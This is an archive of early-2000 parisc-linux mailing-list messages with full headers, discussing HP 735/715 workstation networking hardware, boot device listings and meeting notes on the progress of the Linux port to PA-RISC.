Message-ID: <200002012033.OAA05115@egsner.cirr.com>
References: <200002011810.KAA04636@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618750 29897 80.91.229.3 (22 Nov 2014 01:12:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:12:30 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Grant Grundler <grundler@cup.hp.com>
Original-X-From: eric@cirr.com  Tue Feb  1 14:35:26 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id OAA18809
	for <parisc-linux@puffin.external.hp.com>; Tue, 1 Feb 2000 14:35:25 -0700
Original-Received: (qmail 15221 invoked by uid 15267); 1 Feb 2000 21:38:00 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 15206 invoked from network); 1 Feb 2000 21:37:59 -0000
Original-Received: from ns-a.cirr.com (HELO egsner.cirr.com) (root@192.67.63.1)
  by mailserv2.iuinc.com with SMTP; 1 Feb 2000 21:37:59 -0000
Original-Received: from cirr.com (IDENT:eric@egsner.cirr.com [192.67.63.1]) by egsner.cirr.com (8.9.0/8.9.3)
         with ESMTP id OAA05115; Tue, 1 Feb 2000 14:33:53 -0600 (CST)
In-reply-to: Your message of "Tue, 01 Feb 2000 10:10:08 PST."
             <200002011810.KAA04636@milano.cup.hp.com> 
Original-Sender: eric@cirr.com
Xref: news.gmane.org gmane.linux.ports.parisc:6764


Grant Grundler writes:
- "Pedro G. Gonnet" wrote:
- > btw, any chance i could get my hands on an "normal" ethernet-adaptor for
- > this machine? fddi-cards cost a fortune...
- 
- I thought the 735 has ethernet built-in.
- IIRC, it's an AUI and you need a MAU thingy to connect to 10BT.

	It was possible to purchase the 735 with a FDDI port on
the back replacing the standard ethernet port.  I have three
such systems from an old CONVEX MP0 (`Merlin') cluster, circa
1995.

--
Eric Schnoebelen		eric@cirr.com		 http://www.cirr.com
	Worry is like a rocking chair: It gives you something to do,
			but doesn't get you anywhere.


From - Thu Nov 08 21:11:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Frank Benke <frank.benke@web.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: serial console on 735/99
Date: Wed, 02 Feb 2000 00:04:52 +0100
Lines: 32
Approved: news@gmane.org
Message-ID: <38976694.EE09BDA6@web.de>
References: <200002012033.OAA05115@egsner.cirr.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618750 29904 80.91.229.3 (22 Nov 2014 01:12:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:12:30 +0000 (UTC)
Cc: Grant Grundler <grundler@cup.hp.com>, parisc-linux@thepuffingroup.com
To: Eric Schnoebelen <eric@cirr.com>
Original-X-From: frank.benke@web.de  Tue Feb  1 17:00:49 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id RAA19973
	for <parisc-linux@puffin.external.hp.com>; Tue, 1 Feb 2000 17:00:49 -0700
Original-Received: (qmail 21307 invoked by uid 15267); 2 Feb 2000 00:03:26 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 21287 invoked from network); 2 Feb 2000 00:03:26 -0000
Original-Received: from mx02.uni-tuebingen.de (134.2.3.12)
  by mailserv2.iuinc.com with SMTP; 2 Feb 2000 00:03:26 -0000
Original-Received: from web.de (zxmbk01.extern.uni-tuebingen.de [172.16.198.161])
	by mx02.uni-tuebingen.de (8.8.8/8.8.8) with ESMTP id XAA02064;
	Tue, 1 Feb 2000 23:58:14 +0100
X-Mailer: Mozilla 4.7 [de] (Win98; I)
X-Accept-Language: de
Xref: news.gmane.org gmane.linux.ports.parisc:6765

hi all

Eric Schnoebelen schrieb:

> Grant Grundler writes:
> - "Pedro G. Gonnet" wrote:
> - > btw, any chance i could get my hands on an "normal" ethernet-adaptor for
> - > this machine? fddi-cards cost a fortune...
> -
> - I thought the 735 has ethernet built-in.
> - IIRC, it's an AUI and you need a MAU thingy to connect to 10BT.
>
>         It was possible to purchase the 735 with a FDDI port on
> the back replacing the standard ethernet port.  I have three
> such systems from an old CONVEX MP0 (`Merlin') cluster, circa
> 1995.
>

yes it is .. i dont have the part number of the board,
but i had 2 735 in a fddi-loop running at cebit 97


>
> --
> Eric Schnoebelen                eric@cirr.com            http://www.cirr.com
>         Worry is like a rocking chair: It gives you something to do,
>                         but doesn't get you anywhere.
>
> ---------------------------------------------------------------------------
> To unsubscribe: send e-mail to parisc-linux-request@thepuffingroup.com with
> `unsubscribe' as the subject.


From - Thu Nov 08 21:11:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Frank Benke <frank.benke@web.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: serial console on 735/99
Date: Wed, 02 Feb 2000 00:13:04 +0100
Lines: 37
Approved: news@gmane.org
Message-ID: <3897687F.AE79057D@web.de>
References: <200002011810.KAA04636@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618750 29913 80.91.229.3 (22 Nov 2014 01:12:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:12:30 +0000 (UTC)
Cc: pgonnet@student.ethz.ch, parisc-linux@thepuffingroup.com
To: Grant Grundler <grundler@cup.hp.com>
Original-X-From: frank.benke@web.de  Tue Feb  1 17:11:50 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id RAA20115
	for <parisc-linux@puffin.external.hp.com>; Tue, 1 Feb 2000 17:11:50 -0700
Original-Received: (qmail 3017 invoked by uid 15267); 2 Feb 2000 00:14:27 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 2960 invoked from network); 2 Feb 2000 00:14:25 -0000
Original-Received: from mx02.uni-tuebingen.de (134.2.3.12)
  by mailserv2.iuinc.com with SMTP; 2 Feb 2000 00:14:25 -0000
Original-Received: from web.de (zxmbk01.extern.uni-tuebingen.de [172.16.198.161])
	by mx02.uni-tuebingen.de (8.8.8/8.8.8) with ESMTP id AAA02817;
	Wed, 2 Feb 2000 00:06:25 +0100
X-Mailer: Mozilla 4.7 [de] (Win98; I)
X-Accept-Language: de
Xref: news.gmane.org gmane.linux.ports.parisc:6766

hi all

Grant Grundler schrieb:

> "Pedro G. Gonnet" wrote:
>
> > btw, any chance i could get my hands on an "normal" ethernet-adaptor for
> > this machine? fddi-cards cost a fortune...
>
> I thought the 735 has ethernet built-in.
> IIRC, it's an AUI and you need a MAU thingy to connect to 10BT.
>

the aui is an "inlay" board , you can change

regards frank


>
> grant
>
> > thanks in advance
> > pedro gonnet
> >
> > ---------------------------------------------------------------------------
> > To unsubscribe: send e-mail to parisc-linux-request@thepuffingroup.com with
> > `unsubscribe' as the subject.
> >
>
> Grant Grundler
> Unix Development Lab
> +1.408.447.7253
>
> ---------------------------------------------------------------------------
> To unsubscribe: send e-mail to parisc-linux-request@thepuffingroup.com with
> `unsubscribe' as the subject.


From - Thu Nov 08 21:11:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Simen Timian Thoresen" <simentt@dolphinics.no>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: serial console on 735/99
Date: Wed, 2 Feb 2000 10:44:33 +0100
Lines: 30
Approved: news@gmane.org
Message-ID: <200002020947.KAA14896@scispor.dolphinics.no>
References: <3897F685.5BC308C5@vis.ethz.ch>
Reply-To: simen-tt@online.no
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7BIT
X-Trace: ger.gmane.org 1416618751 29917 80.91.229.3 (22 Nov 2014 01:12:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:12:31 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: pgonnet@student.ethz.ch
Original-X-From: simen-tt@online.no  Wed Feb  2 03:47:47 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id DAA24523
	for <parisc-linux@puffin.external.hp.com>; Wed, 2 Feb 2000 03:47:47 -0700
Original-Received: (qmail 30444 invoked by uid 15267); 2 Feb 2000 10:50:26 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 30423 invoked from network); 2 Feb 2000 10:50:22 -0000
Original-Received: from unknown (HELO scispor.dolphinics.no) (193.71.152.117)
  by mailserv2.iuinc.com with SMTP; 2 Feb 2000 10:50:22 -0000
Original-Received: from scimen (scimen.dolphinics.no [193.71.152.165])
	by scispor.dolphinics.no (8.9.3/8.9.3) with ESMTP id KAA14896;
	Wed, 2 Feb 2000 10:47:09 +0100
Priority: normal
In-reply-to: <3897F685.5BC308C5@vis.ethz.ch>
X-mailer: Pegasus Mail for Win32 (v3.12b)
Xref: news.gmane.org gmane.linux.ports.parisc:6767

> hello!
> 
> the problem is that the fddi was built in instead of aui
> (special-edition kind of thing) since the machine used to be in a
> cluster (hence also no monitor or keyboard). i was wondering if i could
> find something more along the lines of the eisa-slot...

Right. The EISA slot can function as a normal ISA slot, so you can stick any 
old ISA nic into it. The question then is what cards are supported by HP, 
right?
 
> i don't know if the fddi can be yanked out and replaced by aui or
> anyhing (haven't opened the machine - yet), but if it can - anybody want
> to trade?

As my EISA card is a CDDI-card (pretty useless Copper Distributed Digital 
Interface - lowtech fddi afaik), I need my aui-card myself. But if anybody 
wants some older 'DDI-technology, I'll donate my CDDI-card to whoever 
swaps his AUI-card with your FDDI-card.

I guess I'm somewhat less helpfull now than I thought I was, but still. ;-)

Yours,
-Simen
--
Simen Thoresen, Beowulf-cleaner and random artist.

Er det ikke rart?
The gnu RART-project on http://valinor.dolphinics.no:1080/~simentt/rart


From - Thu Nov 08 21:11:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Pedro G. Gonnet" <pedro@vis.ethz.ch>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: serial console on 735/99
Date: Wed, 02 Feb 2000 10:54:38 +0100
Lines: 13
Approved: news@gmane.org
Message-ID: <3897FEDE.88B01839@vis.ethz.ch>
References: <200002020947.KAA14896@scispor.dolphinics.no>
Reply-To: pgonnet@student.ethz.ch
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618751 29922 80.91.229.3 (22 Nov 2014 01:12:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:12:31 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: simen-tt@online.no
Original-X-From: pedro@vis.ethz.ch  Wed Feb  2 03:53:36 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id DAA24667
	for <parisc-linux@puffin.external.hp.com>; Wed, 2 Feb 2000 03:53:35 -0700
Original-Received: (qmail 32287 invoked by uid 15267); 2 Feb 2000 10:56:14 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 32280 invoked from network); 2 Feb 2000 10:56:14 -0000
Original-Received: from naboo.ethz.ch (postfix@129.132.71.62)
  by mailserv2.iuinc.com with SMTP; 2 Feb 2000 10:56:14 -0000
Original-Received: from vis.ethz.ch (naboo.ethz.ch [129.132.71.62])
	by naboo.ethz.ch (Postfix) with ESMTP
	id 4766D275B6; Wed,  2 Feb 2000 10:54:38 +0100 (CET)
Original-Sender: pedro@vis.ethz.ch
X-Mailer: Mozilla 4.7 [en] (X11; U; Linux 2.2.12-20smp i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:6768


hello!

> Right. The EISA slot can function as a normal ISA slot, so you can stick any
> old ISA nic into it. The question then is what cards are supported by HP,
> right?

or better: what cards will parisc-linux support? i've got a bunch of old
isa cards lying around from old pc's...

cheers
pedro


From - Thu Nov 08 21:11:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Brian S. Julin" <bri@mojo.calyx.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Boot info from 715/64
Date: Wed, 2 Feb 2000 15:55:08 -0500 (EST)
Lines: 41
Approved: news@gmane.org
Message-ID: <Pine.BSO.4.21.0002021544170.19835-100000@mojo.calyx.net>
References: <388F492B.1E8EF289@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416618751 29927 80.91.229.3 (22 Nov 2014 01:12:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:12:31 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Alex deVries <adevries@linuxcare.com>
Original-X-From: bri@mojo.calyx.net  Wed Feb  2 14:55:00 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id OAA29204
	for <parisc-linux@puffin.external.hp.com>; Wed, 2 Feb 2000 14:54:59 -0700
Original-Received: (qmail 11053 invoked by uid 15267); 2 Feb 2000 20:56:04 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 9801 invoked from network); 2 Feb 2000 20:55:21 -0000
Original-Received: from mail.calyx.net (qmailr@208.132.136.19)
  by mailserv2.iuinc.com with SMTP; 2 Feb 2000 20:55:21 -0000
Original-Received: (qmail 3338 invoked from network); 2 Feb 2000 20:55:31 -0000
Original-Received: from mojo.calyx.net (HELO mojo) (m5rbgsd5gk3vx8mp7pkb@208.132.136.2)
  by mail.calyx.net with SMTP; 2 Feb 2000 20:55:31 -0000
In-Reply-To: <388F492B.1E8EF289@linuxcare.com>
Xref: news.gmane.org gmane.linux.ports.parisc:6769


On Wed, 26 Jan 2000, Alex deVries wrote:

> "Brian S. Julin" wrote:
> > Searching for devices in PDC firmware...   an older box...
> > Found devices:
> > 1. Mirage Jr GSC Builtin Graphics (10) at 0xf8000000, versions 0x12,
> > 0x0, 0x85, 0x0, 0x0
> > 
> > [...]  more devices, some of which I don't have.
> > 
> > 15. Mirage Jr (715/64) (0) at 0xfffbe000 versions 0x60a, 0x0, 0x4, 0x0,
> > 0x81
> > 16. Mirage Jr (1) at 0xfffbf000, vesions 0x4a, 0x0, 0x9, 0x0, 0x0
> > That's a total of 16 devices.
> 
> Which ones don't you have?  Could you paste the entire list?

Actually I'm typing by hand since I'm not using a serial console :).
Of the devices listed, the one I know for sure I don't
have is the floppy:

8. Mirage Jr Core PC Floppy (10) at 0xf010a000, versions 0x28, 0x0, 0x83,
0x0, 0x0

...there's also these which are suspect, since I have HIL, though
their may be PC keyboard ports back there I haven't looked.....

9. Mirage Jr Core PC Keyboard (10) at 0xf0108000, versions 0x28, 0x0,
0x84, 0x0, 0x0
10. Mirage Jr Core PC Keyboard (10) at 0xf0108100, versions 0x28, 0x0,
0x84, 0x0, 0x0

Question for the kernel high priests on the list -- is the rest of
the input-linux stuff going into the 2.3 series soon -- if so I think 
I'll work on converting the HIL driver over to linux-input and fitting
the linux-input patch to this kernel (which luckily there exists one for).

--
P.S. Sorry about bounced mail; have no idea what that was all about.


From - Thu Nov 08 21:11:43 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Michael Ang <mang@subcarrier.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] State Of The Port
Date: Fri, 4 Feb 2000 23:17:33 -0500 (EST)
Lines: 62
Approved: news@gmane.org
Message-ID: <Pine.BSF.4.10.10002042255350.8742-100000@cuzea.pair.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416618752 29934 80.91.229.3 (22 Nov 2014 01:12:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:12:32 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: mang@subcarrier.org  Fri Feb  4 22:20:20 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id WAA14139
	for <parisc-linux@puffin.external.hp.com>; Fri, 4 Feb 2000 22:20:19 -0700
Original-Received: (qmail 15322 invoked by uid 15267); 5 Feb 2000 04:18:32 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 14542 invoked from network); 5 Feb 2000 04:17:33 -0000
Original-Received: from cuzea.pair.com (209.68.1.197)
  by mailserv2.iuinc.com with SMTP; 5 Feb 2000 04:17:33 -0000
Original-Received: from localhost (mang@localhost) by cuzea.pair.com (8.9.1/8.6.12) with ESMTP id XAA09649 for <parisc-linux@thepuffingroup.com>; Fri, 4 Feb 2000 23:17:33 -0500 (EST)
X-Envelope-To: <parisc-linux@thepuffingroup.com>
X-Sender: mang@cuzea.pair.com
Xref: news.gmane.org gmane.linux.ports.parisc:6770


Here are Grant's notes from today's meeting with a few annotations:
---
Attendees (in no particular order):
        Mike Ang
        Thomas Bogendorf
        Mathew Wilcox
        Grant Grundler
        Martin Petersen
	plus some lurkers

Tulip/Networking We're still having a problem with media selection and
interrupts on A180, and endianness problems on 21140 chipset PCI cards.
Fleedwood made good progress with a pcnet32 card with endian clean driver,
exposing bugs in the tcp checksum code which have been largely fixed.

Thomas Bogendorf will be getting tulip working very soon.
    Expects to have it working by this weekend. Lack of endianess
    support is the main problem.  2.2.14 is the "latest" tulip.c
    but has no big endian support.

Mike Ang will send the outputs of the tulip diagnostic program in
cvsroot:/userspace/ktulip-diag.c to Donald Becker for help.


SuperIO serial

SuperIO serial support is required to get userland serial console working
on C3000.

Martin Petersen looked at data sheet and it's way too complicated.
Grant Grundler: I think the various components have to share IRQ lines.
        Since this bugger is 3 PCI functions and only function 1 (or 2)
        has the IRQ line, it gets a bit messy.

        I think we also need to get some specifics on how firmware
        *reports* those devices. I helped set some of that up for HP-UX
        but that was over a year ago.
        IIRC, the function 0 gets advertised first to HP-UX but it's
        interrupt comes through function 1. So the driver for function 0
        has to poke registers on function 1.

Grant - will check if anyone in HP is interested in making this work.
Mike volunteered to start looking at it on Monday (2/7/2000).


Interrupts on C3000
Grant Still working on it.
Fleed is still having/had trouble with card-mode dino.
    dino.c.ilr data page faulted. Grant will look at this
    after spending some more time on C3k problems.

Willy mentioned that we will have to think about running on 64bit at some
point.


Short term goals (roughly in order)
- serial console input and output
- networking
- nfs root filesystem
- scsi support


From - Thu Nov 08 21:11:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thomas Bogendoerfer <tsbogend@alpha.franken.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] State Of The Port
Date: Sat, 5 Feb 2000 15:37:59 +0100
Lines: 27
Approved: news@gmane.org
Message-ID: <20000205153759.A538@alpha.franken.de>
References: <Pine.BSF.4.10.10002042255350.8742-100000@cuzea.pair.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618752 29941 80.91.229.3 (22 Nov 2014 01:12:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:12:32 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Michael Ang <mang@subcarrier.org>
Original-X-From: hub-fue!alpha.franken.de!tsbogend@rachael.franken.de  Sat Feb  5 09:18:07 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id JAA17281
	for <parisc-linux@puffin.external.hp.com>; Sat, 5 Feb 2000 09:18:07 -0700
Original-Received: (qmail 489 invoked by uid 15267); 5 Feb 2000 15:16:27 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 31315 invoked from network); 5 Feb 2000 15:13:54 -0000
Original-Received: from rachael.franken.de (193.175.24.38)
  by mailserv2.iuinc.com with SMTP; 5 Feb 2000 15:13:54 -0000
Original-Received: from hub-fue by rachael.franken.de
	via rmail with uucp
	id <m12H6uF-0027X2C@rachael.franken.de>
	for thepuffingroup.com!parisc-linux; Sat, 5 Feb 2000 16:13:51 +0100 (MET)
	(Smail-3.2 1996-Jul-4 #4 built DST-Sep-8)
Original-Received: by hub-fue.franken.de (Smail3.1.29.1 #35)
	id m12H6u0-002OmEC; Sat, 5 Feb 100 16:13 MET
Original-Received: (from tsbogend@localhost)
	by alpha.franken.de (8.8.7/8.8.5) id PAA00889;
	Sat, 5 Feb 2000 15:37:59 +0100
X-Mailer: Mutt 0.95.4us
In-Reply-To: <Pine.BSF.4.10.10002042255350.8742-100000@cuzea.pair.com>; from Michael Ang on Fri, Feb 04, 2000 at 11:17:33PM -0500
Xref: news.gmane.org gmane.linux.ports.parisc:6771

On Fri, Feb 04, 2000 at 11:17:33PM -0500, Michael Ang wrote:
>         Thomas Bogendorf

look it up in the From: line:-)

>     Expects to have it working by this weekend. Lack of endianess
>     support is the main problem.  2.2.14 is the "latest" tulip.c
>     but has no big endian support.

the 2.2.14 tulip.c driver has big endian support as well as Donald's latest 
alpha version.

> Willy mentioned that we will have to think about running on 64bit at some
> point.

IMHO, it's way too early to even think about it. Of course 64bit is sexy,
but without a working 32bit userland it's a too big can of worms to open
right now. Linux/MIPS64 hasn't started before a reasonable distribution
existed, and I'm sure this wasn't a bad descision then.

Thomas.

-- 
   This device has completely bogus header. Compaq scores again :-|
It's a host bridge, but it should be called ghost bridge instead ;^)
                                        [Martin `MJ' Mares on linux-kernel]


From - Thu Nov 08 21:11:43 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: willy@thepuffingroup.com
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] ELFness and 64bit
Date: Sat, 5 Feb 2000 13:26:13 -0500
Lines: 16
Approved: news@gmane.org
Message-ID: <20000205132613.A30976@thepuffingroup.com>
References: <Pine.BSF.4.10.10002042255350.8742-100000@cuzea.pair.com> <20000205153759.A538@alpha.franken.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618752 29944 80.91.229.3 (22 Nov 2014 01:12:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:12:32 +0000 (UTC)
Cc: Michael Ang <mang@subcarrier.org>, parisc-linux@thepuffingroup.com
To: Thomas Bogendoerfer <tsbogend@alpha.franken.de>
Original-X-From: willy@thepuffingroup.com  Sat Feb  5 11:29:22 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id LAA18137
	for <parisc-linux@puffin.external.hp.com>; Sat, 5 Feb 2000 11:29:22 -0700
Original-Received: (qmail 27599 invoked by uid 15267); 5 Feb 2000 17:27:45 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 26152 invoked from network); 5 Feb 2000 17:25:29 -0000
Original-Received: from unknown (HELO gin.ext.thepuffingroup.com) (216.208.98.3)
  by mailserv2.iuinc.com with SMTP; 5 Feb 2000 17:25:29 -0000
Original-Received: (from willy@localhost)
	by gin.ext.thepuffingroup.com (8.9.3/8.9.3) id NAA30986;
	Sat, 5 Feb 2000 13:26:13 -0500
X-Mailer: Mutt 0.95.4us
In-Reply-To: <20000205153759.A538@alpha.franken.de>; from Thomas Bogendoerfer on Sat, Feb 05, 2000 at 03:37:59PM +0100
Xref: news.gmane.org gmane.linux.ports.parisc:6772

On Sat, Feb 05, 2000 at 03:37:59PM +0100, Thomas Bogendoerfer wrote:
> > Willy mentioned that we will have to think about running on 64bit at some
> > point.
> 
> IMHO, it's way too early to even think about it. Of course 64bit is sexy,
> but without a working 32bit userland it's a too big can of worms to open
> right now. Linux/MIPS64 hasn't started before a reasonable distribution
> existed, and I'm sure this wasn't a bad descision then.

We want to get people working on userland as soon as possible since this
parallelises well with other people hacking on the kernel.  However, we
need to go 64-bit inorder to support the L-class and similar machines.
I also mentioned that we need ELF support RSN as it is hurting us quite
badly.  I know Sammy has been working on getting 32-bit ELF going on
his 712 for the kernel.  Sammy, how's that going?


From - Thu Nov 08 21:11:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] State Of The Port
Date: Sat, 05 Feb 2000 17:35:55 -0800
Lines: 56
Approved: news@gmane.org
Message-ID: <200002060135.RAA09710@milano.cup.hp.com>
References: <Pine.BSF.4.10.10002042255350.8742-100000@cuzea.pair.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618753 29951 80.91.229.3 (22 Nov 2014 01:12:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:12:33 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: grundler@cup.hp.com  Sat Feb  5 19:37:30 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id TAA20775
	for <parisc-linux@puffin.external.hp.com>; Sat, 5 Feb 2000 19:37:30 -0700
Original-Received: (qmail 18319 invoked by uid 15267); 6 Feb 2000 01:35:51 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 17746 invoked from network); 6 Feb 2000 01:35:10 -0000
Original-Received: from atlrel1.hp.com (156.153.255.210)
  by mailserv2.iuinc.com with SMTP; 6 Feb 2000 01:35:10 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.16.124.11])
	by atlrel1.hp.com (Postfix) with ESMTP id 6465A1261E
	for <parisc-linux@thepuffingroup.com>; Sat,  5 Feb 2000 20:35:09 -0500 (EST)
Original-Received: from localhost (grundler@localhost [127.0.0.1]) by milano.cup.hp.com with SMTP (8.8.6 (PHNE_14041)/8.7.3 TIS 5.0.1) id RAA09710 for <parisc-linux@thepuffingroup.com>; Sat, 5 Feb 2000 17:35:59 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Fri, 04 Feb 2000 23:17:33 PST."
             <Pine.BSF.4.10.10002042255350.8742-100000@cuzea.pair.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:6773

Michael Ang wrote:
> 
> Here are Grant's notes from today's meeting with a few annotations:

Mike,
thanks for touching up the notes...apologies to Thomas for mangling
his name. My error.

> 
> Interrupts on C3000
> Grant Still working on it.

I think it's working now. It still needs more work but folks could
start using it at least. I expect the code to work on j5k but
don't know if either processor has "0xfffa0000" HPA. If one does,
it should work too. All I/O interrupts will be directed to that
processor for now.

Feel free to remove the:
	do_irq_mask 00200000 c02d1324 c01f6500
	iosapic_interrupt: irq 266 line 1 eoi fed32840

messages if they get in your way.

I tested using eepro100.c driver (CONFIG_EEXPRESS_PRO100=y)
and added "#define USE_IO" near the top. I can't say the interface
is totally functional (I haven't the setup to test ping) but the hub
seems happy.


> Fleed is still having/had trouble with card-mode dino.
>     dino.c.ilr data page faulted. Grant will look at this
>     after spending some more time on C3k problems.

I'm going to look at this next before working more on iosapic.c.
Thomas is going to send me console output and I'll see what I
can make out of that.

> Short term goals (roughly in order)
> - serial console input and output
> - networking
> - nfs root filesystem
> - scsi support

More important than any of these, IMHO, is FDB. And I forgot to
mention it at the meeting. Future progress would be substantialy
faster if we had a debugger. I don't feel competent to work on
that. Anyone interested in (or already) pursuing this?

thanks,
grant

Grant Grundler
Unix Development Lab
+1.408.447.7253


From - Thu Nov 08 21:11:43 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
